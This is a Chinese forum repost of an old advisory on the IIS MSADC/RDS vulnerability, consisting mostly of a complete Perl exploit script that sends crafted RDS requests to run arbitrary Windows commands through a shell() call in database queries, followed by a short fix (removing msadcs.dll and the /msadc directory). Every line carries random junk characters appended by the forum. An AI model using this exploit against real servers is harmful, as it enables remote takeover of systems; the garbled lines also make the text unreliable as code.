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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) dQy K4T  
s133N?  
涉及程序: KY\=D 2m  
Microsoft NT server _7'5IA  
 upGLZ#  
描述: TrBW0Bn>p  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 JB'XH~4H  
$ByP 9=|  
详细: 1o?uf,H7O  
如果你没有时间读详细内容的话,就删除: o_03Io ~Bf  
c:\Program Files\Common Files\System\Msadc\msadcs.dll -s]@8VJA"  
有关的安全问题就没有了。 uc/W/c u,  
#@F.wV0  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ?/8V%PL~$  
w^N QLV S  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~7m+N)5  
关于利用ODBC远程漏洞的描述,请参看: "Cs36k  
-,2CMS#N  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm z7TyS.z  
6w[EJ;=p_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 wOsg,p;\'  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp !@ {sM6U  
-F MonM  
这里不再论述。 fg4mP_  
U*?`tdXJ$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Zn[ppsz|  
qQ 8+gZG$R  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ABcB-V4  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! YLuf2ja}X  
',/2J0_  
2OQ\ z;s  
#将下面这段保存为txt文件,然后: "perl -x 文件名" |#'n VN.;  
kT:I.,N   
#!perl nu(7Y YCM$  
# o=Y'ns^a(  
# MSADC/RDS 'usage' (aka exploit) script ]J@-,FFC  
# W2'!Pc,W  
# by rain.forest.puppy Fm*npK  
# QNH3\<IS  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z"Mk(d@-E  
# beta test and find errors! m"QDc[^Ge  
Xt +9z  
use Socket; use Getopt::Std; ILqBa:J  
getopts("e:vd:h:XR", \%args); ?wFL\C  
aemi;61T\  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; opMnLor  
/aIGq/;Y+a  
if (!defined $args{h} && !defined $args{R}) { ]sJC%/  
print qq~ bkS"]q)>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } \`E^>6!]q  
-h <host> = host you want to scan (ip or domain) Ov ^##E  
-d <seconds> = delay between calls, default 1 second ~H1<8py\J  
-X = dump Index Server path table, if available -& =dl_m  
-v = verbose X0REC%  
-e = external dictionary file for step 5 e5 }amrz  
{`,)<R>}  
Or a -R will resume a command session dqs~K7O^E  
eze%RjO}  
~; exit;} 2=/-,kOL_  
zTc*1(^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Qj*.Z4ue  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} xF@&wg  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} jFUpf.v2  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); MpBdke$  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} >##Z}auY  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } D:/q<<|  
w)`XM  
if (!defined $args{R}){ $ret = &has_msadc; @\o"zU  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} I2Imb9k~B  
iaLZ|\`3a  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" PjH'5Y  
. "cmd /c "; Wky9w r:g  
$in=<STDIN>; chomp $in; -$DfnAh  
$command="cmd /c " . $in ; v; R2,`[W  
c+ e~BN  
if (defined $args{R}) {&load; exit;} AV7#,+p%G  
cqSXX++CS,  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; _{-[1-lN5_  
&try_btcustmr; dDIR~ !T  
]!&$&t8.  
print "\nStep 2: Trying to make our own DSN..."; Y~e)3e  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <fM}Kk  
Fm,` ]CO  
print "\nStep 3: Trying known DSNs..."; `j(._`8%a  
&known_dsn; /R&h#;l  
O1S7t)ag  
print "\nStep 4: Trying known .mdbs..."; CH&{x7$he  
&known_mdb; ml<tH2Qx3C  
.Z  67  
if (defined $args{e}){ y^ |u'XK  
print "\nStep 5: Trying dictionary of DSN names..."; Fx|`0 LI+C  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ][ IOlR  
9@yF7  
print "Sorry Charley...maybe next time?\n"; sRA2O/yKCE  
exit; U3Z=X TB  
t ^[fu,  
############################################################################## DA.k8M  
W\NC3]  
sub sendraw { # ripped and modded from whisker N2"B\  
sleep($delay); # it's a DoS on the server! At least on mine... bd~m'cob>  
my ($pstr)=@_; kS8?N`2}LV  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6(rN(C  
die("Socket problems\n"); T7^;!;i`X  
if(connect(S,pack "SnA4x8",2,80,$target)){ `Z8k#z'bN  
select(S); $|=1; e6Y>Bk   
print $pstr; my @in=<S>; t>/x-{bH\  
select(STDOUT); close(S); )*>wa%[-q  
return @in; bWAa: r  
} else { die("Can't connect...\n"); }} $`55 E(  
%l!?d`?  
############################################################################## { ]_j)R  
L*tfY onq  
sub make_header { # make the HTTP request w2'q9pB+  
my $msadc=<<EOT bXOKC  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 dpw-a4o}  
User-Agent: ACTIVEDATA ; Byt'S  
Host: $ip FV/t  
Content-Length: $clen & UOxS W  
Connection: Keep-Alive DZtpY {=Z  
>Vjn]V5y  
ADCClientVersion:01.06 !@F {FR  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 f|FS%]fCxk  
"`V@?+3  
--!ADM!ROX!YOUR!WORLD! BB\GrD  
Content-Type: application/x-varg ]JYE#F  
Content-Length: $reqlen ,>h"~X  
 o+'|j#P  
EOT Y~8 5Z0l  
; $msadc=~s/\n/\r\n/g; gS5MoW1  
return $msadc;} Y=O+d\_W  
rR-[CT  
############################################################################## Q(nTL WW  
]}XDDPbZ}  
sub make_req { # make the RDS request $Gv@lZ@=  
my ($switch, $p1, $p2)=@_; >kK@tJn  
my $req=""; my $t1, $t2, $query, $dsn; ZBK0`7#&EH  
H3<tsK=:  
if ($switch==1){ # this is the btcustmr.mdb query 8O9^g4?  
$query="Select * from Customers where City=" . make_shell(); +w^,!gA&  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . R ~kO5jpW  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ?$ e]K/*  
in<.0v9w  
elsif ($switch==2){ # this is general make table query 0Eb4wupo  
$query="create table AZZ (B int, C varchar(10))"; EXCE^Vw  
$dsn="$p1";} 95z|}16UK  
1 >j,v+  
elsif ($switch==3){ # this is general exploit table query *k62Qz3  
$query="select * from AZZ where C=" . make_shell(); u,So+%  
$dsn="$p1";} *VsVCUCz5*  
RI&O@?+U  
elsif ($switch==4){ # attempt to hork file info from index server P'lnS&yA  
$query="select path from scope()"; FL^ _)`  
$dsn="Provider=MSIDXS;";} -&>V.hi7  
Fm0d0j  
elsif ($switch==5){ # bad query $G9LaD#;M  
$query="select"; AAlc %d/9  
$dsn="$p1";} x2"1,1%H7  
rM,e$  
$t1= make_unicode($query); CF{b Yf^%  
$t2= make_unicode($dsn); &/]en|f"  
$req = "\x02\x00\x03\x00"; vS>'LX  
$req.= "\x08\x00" . pack ("S1", length($t1)); >X$JeME3  
$req.= "\x00\x00" . $t1 ; 'NhQBk  
$req.= "\x08\x00" . pack ("S1", length($t2)); E(4c&  
$req.= "\x00\x00" . $t2 ; P\7*ql`  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; FT- .gi0  
return $req;} )bOfs*S  
GHcx@||C?  
############################################################################## 5lG\ Z?  
at_*Zh(  
sub make_shell { # this makes the shell() statement MONX&$  
return "'|shell(\"$command\")|'";} hi1Ial\Y  
Y0a[Lb0  
############################################################################## ?l/6DT>e  
0vm>*M*p  
sub make_unicode { # quick little function to convert to unicode hLLSmW (  
my ($in)=@_; my $out; :S0!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 5;/n`Bd  
return $out;} CW &z?Bra  
#y:D{%Wp  
############################################################################## g8##Be  
51q|-d  
sub rdo_success { # checks for RDO return success (this is kludge) "CJ~BJI%  
my (@in) = @_; my $base=content_start(@in); 8@m$(I +  
if($in[$base]=~/multipart\/mixed/){ wc;n= %  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2F:qaz  
return 0;} }8ubGMr,Y  
7EE{*}?0E  
############################################################################## fZo#:"{/K  
T?pS2I~  
sub make_dsn { # this makes a DSN for us 8Agg%*Qs}  
my @drives=("c","d","e","f"); smf"F\W s  
print "\nMaking DSN: "; (?r,pAc:  
foreach $drive (@drives) { SV>tw`2  
print "$drive: "; =9jK\ T^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . O:wG/et  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" &>-j4,M  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); d&j  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 7y'uZAF  
return 0 if $2 eq "404"; # not found/doesn't exist F}nwTras  
if($2 eq "200") { Jbu2y'zE  
foreach $line (@results) { @(,1}3s  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1|MRXK  
} return 0;} 5daq}hsQs  
SndR:{  
############################################################################## p\w<~ pN[  
x s{pGQ6Q  
sub verify_exists { YExgUE|  
my ($page)=@_; _? gCOr  
my @results=sendraw("GET $page HTTP/1.0\n\n"); XIdh9)]^}  
return $results[0];} qiNVaV\wr|  
dht0PZdx?  
############################################################################## puC91  
cV+?j}"*+  
sub try_btcustmr { vgwpuRL5b  
my @drives=("c","d","e","f"); cpQ5F;FI  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ^e.-Ji  
pE5v~~9Ikv  
foreach $dir (@dirs) { %2}fW\% '  
print "$dir -> "; # fun status so you can see progress X;I9\Cp]!  
foreach $drive (@drives) { .{V"Gn9!  
print "$drive: "; # ditto $'J3 /C7  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 6zi>Q?] 1  
$reqlenlen=length( "$reqlen" ); <CyU9`ye  
$clen= 206 + $reqlenlen + $reqlen; ]q]xU,  
n=.P46|  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); G!q[NRu  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} G *CPj^O  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} W7S~~  
FnO@\{M"A  
############################################################################## UkL1h7}a\  
YZol4q|ic  
sub odbc_error { Q\$3l'W  
my (@in)=@_; my $base; <`}P  
my $base = content_start(@in); Pxlc RF  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this %O"8|ZG9{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mO>L]<O  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Pyo|Sgk  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b:dN )m  
return $in[$base+4].$in[$base+5].$in[$base+6];} &`r/+B_W  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; uz8LF47@:-  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . n#(pT3&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} V(7,N(  
z#*.9/y\^R  
############################################################################## .xRdKt!p  
G|wtl(}3  
sub verbose { 2cMC ZuO  
my ($in)=@_; r_T)| ||v  
return if !$verbose; R/vHq36d  
print STDOUT "\n$in\n";} RzEzNV  
b#VtPn]  
############################################################################## GKBoSSnV&  
A8)4nOXM  
sub save { XiW1X6  
my ($p1, $p2, $p3, $p4)=@_; <tr]bCu}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n";  ;l$$!PJ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; GK@OdurAR  
close OUT;} 6r)P&J  
![_x/F9  
############################################################################## `'YX>u/  
idI w7hi4  
sub load { a1Fx|#! mq  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; $V~@w.-Z#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Lljn\5!r<  
@p=<IN>; close(IN); B~]Kqp7yU  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  Gl~l  
$target= inet_aton($ip) || die("inet_aton problems"); j ZXa R  
print "Resuming to $ip ..."; aO'#!k*R  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; )^j_O^T5  
if($p[1]==1) { um2a#6uo  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; p+d-7'?I  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; x?h/e;  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9K+> ;`  
if (rdo_success(@results)){print "Success!\n";} ]VI^ hhf  
else { print "failed\n"; verbose(odbc_error(@results));}} ATs_d_Sz  
elsif ($p[1]==3){ K`4lL5oH  
if(run_query("$p[3]")){ {r^_g(.q  
print "Success!\n";} else { print "failed\n"; }} :Jd7q.  
elsif ($p[1]==4){ 1h,iWHC  
if(run_query($drvst . "$p[3]")){ n]4E>/\  
print "Success!\n"; } else { print "failed\n"; }} &K^0PzWWof  
exit;} -  x  
RZa/la*  
############################################################################## 1Viz`y)^  
-,J<X\  
sub create_table { {2\Y%Y'}*  
my ($in)=@_; R<|\Z@z  
$reqlen=length( make_req(2,$in,"") ) - 28; ].d2CJ'  
$reqlenlen=length( "$reqlen" ); @^,q/%;  
$clen= 206 + $reqlenlen + $reqlen; >ahDc!Jyu  
my @results=sendraw(make_header() . make_req(2,$in,"")); Y ;Ym=n'  
return 1 if rdo_success(@results); Xaq;d'  
my $temp= odbc_error(@results); verbose($temp); hkMeUxS  
return 1 if $temp=~/Table 'AZZ' already exists/; 0m@+ &X>w  
return 0;} -Jd|H*wWo  
)qWwh)\;!  
############################################################################## pKSCC"i&j  
vW+6_41ZM  
sub known_dsn { `ecseBn3d  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ({uW-%  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ]Ry9{:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", NRRJlY S  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); _7c3=f83  
s(,S~  
foreach $dSn (@dsns) { =ZgueUz,  
print "."; iE%"Q? Q/  
next if (!is_access("DSN=$dSn")); x YS81  
if(create_table("DSN=$dSn")){ ~A0]vcP  
print "$dSn successful\n"; :'%6  
if(run_query("DSN=$dSn")){ 'Y?-."eKh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { X=)V<2WO  
print "Something's borked. Use verbose next time\n";}}} print "\n";} bLc5$U$!I  
CoN[Yf3\  
############################################################################## Al$z.i?R  
oi #B7  
sub is_access { wuqe{?  
my ($in)=@_; (NJ{>@&  
$reqlen=length( make_req(5,$in,"") ) - 28; 2#wnJdr6E  
$reqlenlen=length( "$reqlen" ); bWe2z~dP  
$clen= 206 + $reqlenlen + $reqlen; w\buQ6pR)  
my @results=sendraw(make_header() . make_req(5,$in,"")); (.J/Ql0Y  
my $temp= odbc_error(@results); MO`Y&<g~A  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); T.bFB+'E|  
return 0;} J Enjc/  
%cF`x_h[j  
############################################################################## .D*Qu}  
P\U<,f  
sub run_query { qt8Y3:=8l  
my ($in)=@_; *!5CL'  
$reqlen=length( make_req(3,$in,"") ) - 28; MAa9JA8kw)  
$reqlenlen=length( "$reqlen" ); u~uzKG  
$clen= 206 + $reqlenlen + $reqlen; vhe Y F@  
my @results=sendraw(make_header() . make_req(3,$in,"")); TvU z^  
return 1 if rdo_success(@results); +=tdgw/  
my $temp= odbc_error(@results); verbose($temp); Wf~^,]9N  
return 0;} w-|Rb~XT h  
@|gG3  
############################################################################## UHl3/m7g  
]ch=@IV  
sub known_mdb { C,|&  
my @drives=("c","d","e","f","g"); XC<fNK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >"W^|2R  
my $dir, $drive, $mdb; /}:{(Go  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; !(d] f0  
%YG?7PBB  
# this is sparse, because I don't know of many g~U( w  
my @sysmdbs=( "\\catroot\\icatalog.mdb", {yn,u)@r9S  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", , ZsZzZ#  
"\\system32\\certmdb.mdb", yF)o_OA[uR  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% j\}.GM'8  
Y\ [|k-6  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Aztrq  
"\\cfusion\\cfapps\\forums\\forums_.mdb", F^dJ{<yX  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 2BccE  
"\\cfusion\\cfapps\\security\\realm_.mdb", WK%cbFq(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", XYcZ;Z9:  
"\\cfusion\\database\\cfexamples.mdb", I9?\Jbqg  
"\\cfusion\\database\\cfsnippets.mdb", g]~vZj  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", v({O*OR  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", @-@Coy 4Tt  
"\\cfusion\\brighttiger\\database\\cleam.mdb", t3L>@NWG  
"\\cfusion\\database\\smpolicy.mdb", /~LE1^1&U  
"\\cfusion\\database\cypress.mdb", >X~B1D,SV7  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", *yZ6"  
"\\website\\cgi-win\\dbsample.mdb", Ww<Y]H$xZ<  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 4D65VgVDM  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _}[ Du/c  
); #these are just "Q:Gd6?h;  
foreach $drive (@drives) { i?T-6{3I  
foreach $dir (@dirs){ Q 3WD!Z8y  
foreach $mdb (@sysmdbs) { cU;Bm}U  
print "."; w2B)$u  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ wNa5qp 0  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =!TUf/O-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ `>"#d ?,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; V^7.@BeT  
} else { print "Something's borked. Use verbose next time\n"; }}}}} PT>b%7Of  
@A[)\E1  
foreach $drive (@drives) { %. 1/ #{  
foreach $mdb (@mdbs) { v :pT(0N  
print "."; 1}VaBsEV  
if(create_table($drv . $drive . $dir . $mdb)){ yP"2.9\erH  
print "\n" . $drive . $dir . $mdb . " successful\n"; 5/.W-Q\pl}  
if(run_query($drv . $drive . $dir . $mdb)){ gT}H B.  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 1AJ6NBC&c  
} else { print "Something's borked. Use verbose next time\n"; }}}} Vgm*5a6t  
} XIcUoKg^  
^".OMS"!  
############################################################################## m?S;s ew@5  
rm-d),Zt  
sub hork_idx { M=,pn+}y>  
print "\nAttempting to dump Index Server tables...\n"; O-, "/Z  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; * + T(i  
$reqlen=length( make_req(4,"","") ) - 28; ! ._q8q\  
$reqlenlen=length( "$reqlen" ); &}DfIP<  
$clen= 206 + $reqlenlen + $reqlen; y##h(y  
my @results=sendraw2(make_header() . make_req(4,"","")); 7Ae`>5B#  
if (rdo_success(@results)){ X,Ql6uO  
my $max=@results; my $c; my %d; D||0c"E  
for($c=19; $c<$max; $c++){ LOUP  
$results[$c]=~s/\x00//g; BlJiHz!  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; p4T$(]7  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; b0~r/M;J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; n/9afIN  
$d{"$1$2"}="";} (T1< (YZ  
foreach $c (keys %d){ print "$c\n"; } :1+Aj (  
} else {print "Index server doesn't seem to be installed.\n"; }} @.;+WQE  
}geb959  
############################################################################## ,dRaV</2  
93*csO?Db  
sub dsn_dict { p%I)&- 8  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ).KA0-  
while(<IN>){ 0U=wGI O  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $N?8[  
next if (!is_access("DSN=$dSn")); /k'7j*t Z  
if(create_table("DSN=$dSn")){ )+ <w>pc  
print "$dSn successful\n"; ztVTXI%Kz  
if(run_query("DSN=$dSn")){ 5=o^/Vkc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2@ S}x@^  
print "Something's borked. Use verbose next time\n";}}} R3B+vLGX  
print "\n"; close(IN);} qO{z{@jo55  
` GF w?G  
############################################################################## P<pv@ l9)  
~b_DFj  
sub sendraw2 { # ripped and modded from whisker UytMnJ88  
sleep($delay); # it's a DoS on the server! At least on mine... :FAPH8]  
my ($pstr)=@_; \HGf!zZ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || R+LKa Z  
die("Socket problems\n"); 1Vpti4OmU  
if(connect(S,pack "SnA4x8",2,80,$target)){ m CO1,?  
print "Connected. Getting data"; ox-m)z `7  
open(OUT,">raw.out"); my @in; P~ObxY|  
select(S); $|=1; print $pstr; ;!<}oZp{  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} OnTe_JML  
close(OUT); select(STDOUT); close(S); return @in; ytttF5-  
} else { die("Can't connect...\n"); }} kjYM&q  
Dg&6@c|  
############################################################################## x^1udK^re  
MblRdj6  
sub content_start { # this will take in the server headers /A{ Zf'DI  
my (@in)=@_; my $c; ]N'3jf`W  
for ($c=1;$c<500;$c++) { UhH#> 2r_  
if($in[$c] =~/^\x0d\x0a/){ HA'~1$#z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } &y!?R$?b  
else { return $c+1; }}} FGDVBUY@  
return -1;} # it should never get here actually /1OCK=  
c~<;}ve^z  
############################################################################## @&\Y:aRO%i  
K<P d.:  
sub funky { QFP9"FM5F  
my (@in)=@_; my $error=odbc_error(@in); h'*v$lt  
if($error=~/ADO could not find the specified provider/){ gPd K%"B@  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; wI@87&  
exit;} wm~7`&  
if($error=~/A Handler is required/){ -[=~!Qr:  
print "\nServer has custom handler filters (they most likely are patched)\n"; $a_y-lY  
exit;} 3;>ls~4  
if($error=~/specified Handler has denied Access/){ NO!Qo:  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5cP yi/  
exit;}} P%2v(  
5%}e j)@  
############################################################################## V\`Z|'WIQD  
W,4!"*+  
sub has_msadc { vT?^#  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); NY7yk3  
my $base=content_start(@results); ? i _ACKpw  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); sF{~7IB  
return 0;} /DAR'9@h  
,@ '^3u  
######################## G*9(O:  
2+9VDf2  
jR%*,IeB  
解决方案: gG?@_ie  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 7P1Pk?pxy  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 gH//@`6  
iVFOOsJ@  
拿出来充数 哈哈
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